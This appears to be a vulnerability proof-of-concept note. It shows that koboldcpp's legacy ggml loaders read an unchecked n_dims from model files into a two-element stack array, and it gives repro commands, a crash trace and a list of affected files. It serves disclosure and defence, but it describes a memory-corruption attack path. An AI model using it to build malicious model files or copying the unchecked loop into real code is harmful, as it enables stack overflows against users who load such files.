| # Dynamic proof — koboldcpp legacy ggml loaders unchecked n_dims → ne[2] stack overflow |
| |
| Reproduced 2026-07-04. Isolates the loop shared by koboldcpp's legacy ggml loaders, e.g. |
| `otherarch/gpt2_v2.cpp:269-273`: |
| ``` |
| int32_t ne[2] = {1,1}; |
| for (int i = 0; i < n_dims; ++i) { fin.read(&ne[i], sizeof(ne[i])); nelements *= ne[i]; } |
| ``` |
| n_dims is read straight from the model file with no `n_dims <= 2` check. |
|
|
| ## Run + crash (-O0; real code's fin.read writes are non-elidable) |
| ``` |
| c++ -O0 -g -fstack-protector-all ndims_repro.cpp -o ndims_repro |
| ./ndims_repro 100000 |
| * stop reason = EXC_BAD_ACCESS (code=1, address=0x16fe00000) |
| frame #0: main at ndims_repro.cpp:18 ; ne[i] = 0x41414141 (== fin.read(&ne[i], ...)) |
| exit=139 (SIGSEGV) |
| ``` |
| n_dims>=3 writes attacker bytes past the 2-element stack array; a large n_dims sweeps down the stack |
| until the guard page -> SIGSEGV. |
|
|
| ## Affected loaders (same pattern, ne[2] + unchecked n_dims) |
| otherarch/gpt2_v1.cpp, gpt2_v2.cpp, gpt2_v3.cpp, gptj_v1.cpp, gptj_v2.cpp, gptj_v3.cpp, mpt_v3.cpp, |
| llama_v2.cpp, llama_v3.cpp, neox_v2.cpp, neox_v3.cpp, rwkv_v2.cpp — selected by koboldcpp's FileFormat |
| detection (gpttype_adapter.cpp) when loading a legacy-format model. |
|
|